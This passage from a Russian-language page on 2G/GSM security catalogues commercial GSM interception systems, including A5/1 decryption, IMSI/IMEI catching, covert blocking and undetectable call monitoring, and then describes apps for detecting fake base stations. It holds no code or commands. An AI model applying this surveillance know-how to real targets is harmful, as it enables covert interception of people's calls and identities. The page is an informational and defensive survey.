Атака аналогична предыдущей по принципу, но вместо sdr модуля используются пара телефонов motorola.
 

 
Официальный сайт проекта http://bb.osmocom.org/trac/ (http://bb.osmocom.org/trac/) 
 
4 Готовые решения 
Существует множество промышленных комплексов по перехвату данных GSM сетей. Ниже приведены описания некоторых
существующих моделей: 
 
 

https://radio-secure.ru/secure/2g 22/51
18.06.2019 2G

 Система перехвата GSM сигналов "IB0401"


 
Система перехвата GSM "IB0401" работает с любым типом кодирования, включая алгоритмы A5/1 и A5/2. Режим работы
оффлайн, полностью пассивная система перехвата, дешифровки, обработки и мониторинга GSM сигналов. Охватывает весь
диапазон частот системы GSM (850, 900, 1800, 1900MHz). Автоматическое определение языка/диалекта; голосовое
распознавание и опознавание говорящего. Это наиболее совершенная система перехвата и мониторинга GSM сигналов из
всех существующих на данный момент в мире. Система включает в себя аппаратное устройство и сопроводительное
программное обеспечение. Не требуется связь с сетевым оператором. Центральная система обработки GSM сигналов и
система дешифровки A5/1 могут управлять несколькими переносными устройствами-перехватчиками.
 

 
 Система перехвата GSM сигналов полупассивная "IB0402"
 
- обеспечивает быстрый и надежный перехват, а также запрос и создания помех для трафика GSM сигналов. Перехват
входящей и исходящей GSM связи, включая формат A5/1 в реальном времени и без поддержки сетевых операторов:
Перехват множественных одновременных звонков (дуплекс);
- одновременный перехват нескольких операторов;
- возможности выборочного создания помех и управления телефоном;
- получение идентификационных данных телефонов, а также телефонных номеров;
 
 

https://radio-secure.ru/secure/2g 23/51
18.06.2019 2G

 
Аппаратно-программный комплекс информационно-технического воздействия в системах сотовой радиосвязи стандарта
GSM 900/1800 "Отклик"
 
Назначение и основные функции:
- обнаружение активных GSM-устройств в зоне действия комплекса в частотных диапазонах EGSM900/DCS1800;
- получение идентификационных и ключевых признаков абонентов в контролируемой зоне (IMEI, IMSI);
- индикация модели абонентского устройства на основании полученного идентификатора IMEI;
- работа по одному оператору сотовой связи в один момент времени, с возможностью переключения между действующими
операторами;
- Контроль осуществляется скрытно для самих абонентов, т.е. при блокировании не происходит каких-либо изменений на
дисплее мобильного аппарата (потеря сети, смена оператора, сбой сети и т.д.);
- Выборочное/полное блокирование абонентов в зоне работы комплекса (выборочное блокирование производится по
идентификационным параметрам абонентов IMEI, IMSI);
- Программирование реакции комплекса на попытку установления соединения блокируемым абонентом (перегрузка сети,
«занято», «не отвечает»).
- Принудительная активация абонентского устройства для обеспечения возможности его пеленгования. Обеспечивается
открытый интерфейс для подключения пеленгаторов сторонних производителей;
- Круглосуточный режим работы с возможностью удалённого управления;
- Количество абонентов находящихся под контролем комплекса до 1000;
- Зона действия комплекса до 500 м.
Состав:
- Комплекс состоит из трёх рабочих блоков (массой не более 15 кг каждый, размеры - 410x425x170 мм.) и устройства
управления (ноутбук).
Питание - +12В.
 

https://radio-secure.ru/secure/2g 24/51
18.06.2019 2G

 
Система мониторинга GSM-сетей с алгоритмом шифрования A5/1 "SIM - Phoenix"
 
Область применения:
GSM-мониторинг A 5/1 и A 5/2 в режиме реального времени мониторинг и запись переговоров/SMS наблюдение.
Особенности:
- полная прозрачность - цель остается в сети/ прохождение входящих и исходящих звонков;
- вся обычная информация провайдера отображается на экране телефона;
- отсутствие признаков проведения мониторинга;
- невозможность обнаружения мониторинга;
- удобство применения;
Технические данные:
-рабочий диапазон 900 MHz/ 1800MHz GSM;
-алгоритм A5/1 и A5/2;
-полная система мониторинга с BTS;
-функция реального времени;
-отслеживание до 7 соединений одновременно.
  
5 Методы защиты со стороны абонента
Существуют приложения для определения фейковых БС. При подключения абонента к поддельной БС, приложение будет
оповещать об этом. В настройках некоторых устройств можно выбрать сети, к которым оно будет подключаться - нужно
оставить только 3G и 4G. Минусом данного метода является то, что далеко не везде есть сигнал 3G и 4G и возможно полное
отсутствие сигнала сотовой сети.
 
SnoopSnitch
Программа для Android, помогающая в обнаружении IMSI-ловушек. Принцип её работы заключается в регулярном сборе
статистики об окружающих базовых станциях: их характеристиках и местоположении. В случае обнаружения отклонения
от привычной картины программа выдаёт предупреждение. Тут же можно загрузить свои данные на сервер — там
формируется глобальная база знаний обо всех базовых станциях мира.
 

https://radio-secure.ru/secure/2g 25/51
18.06.2019 2G

 
 
GSM Spy Finder
Простая и надежная программа для выявления активности оборудования GSM Monitoring System предназначенных для
активного и пассивного перехвата голоса и данных любых модификаций GSM сетей. Поддерживает до 4 GSM диапазонов
(850, 900, 1800, 1900).

Обнаруживает активность следующих типов шпионского оборудования:


- активный GSM Перехватчик с дешифратором А 5.х, который может перехватывать входящие и исходящие GSM звонки и
sms с любым типом шифрования в реальном времени. Работают с движущимися и стационарными объектами и
предоставлять разговоры и данные в реальном времени, делать анализ полученных данных, перехватывать IMSI/IMEI и
делать выборочное подавление GSM трафика в заданном районе
- 3G IMSI/IMEI/TMSI catcher, предназначенный для воздействие на выбранный телефон, чтобы заставить его
переключиться в режим GSM, для возможности перехват данных с такого телефона пассивным интерцептором.
- Блокиратор выбранных сотовых телефонов (Сотовый брандмауэр), для избирательного или массового подавления
GSM/UMTS целей. Созданный на основе Активной базовой станции, Сотовый брандмауэр разрешает авторизованным
GSM/UMTS абонентам использовать их телефоны, как обычно, принимать звонки, звонить, принимать и отсылать sms и так
далее, в то же время несанкционированные телефоны в непосредственной близости от системы лишены услуг сотовой
связи.
- GSM IMSI/IMEI/TMSI Кетчер (захватчик), которая предназначена для обнаружения присутствия GSM-телефонов в зоне
интереса. Вся система основана на ноутбуке и компактной мини-BTS и является активной системой и, таким образом, она
заставляет GSM телефоны в его окрестностях регистрироваться к ней.

https://radio-secure.ru/secure/2g 26/51
18.06.2019 2G

  0 (Комментариев) (https://radio-secure.ru/secure/2g/20-2g#comments)
    1531 (Просмотров) (https://radio-secure.ru/secure/2g/20-2g)

Войти (/component/users/?view=login&Itemid=101)

Регистрация (/component/users/?view=registration&Itemid=101)
УЯЗВИМОСТИ

WI-FI
(/SECURE/WI-FI)

BLUETOOTH

(/SECURE/BLUETOOTH)

RFID
(/SECURE/RFID)

ZIGBEE

(/SECURE/ZIGBEE)

DECT

(/SECURE/DECT)

WIMAX

(/SECURE/WIMAX)
https://radio-secure.ru/secure/2g 27/51
18.06.2019 2G
2G

(/SECURE/2G)

3G

(/SECURE/3G)

4G

(/SECURE/4G)

TETRA

(/SECURE/TETRA)

APCO25
(/SECURE/APCO25)

DMR

(/SECURE/DMR)

ПОДДЕРЖАТЬ ПРОЕКТ

(/support-project)
 
Вы может поддержать наш проект на разработку и исследования в области информационной безопасности
беспроводных систем
 

Поддержать проект (/support-project)

О нас Поддержать проект


(/info) (/support-project)
© 2017 Radio Secure

https://radio-secure.ru/secure/2g 28/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 29/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 30/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 31/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 32/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 33/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 34/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 35/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 36/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 37/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 38/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 39/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 40/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 41/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 42/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 43/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 44/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 45/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 46/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 47/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 48/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 49/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 50/51
18.06.2019 2G

https://radio-secure.ru/secure/2g 51/51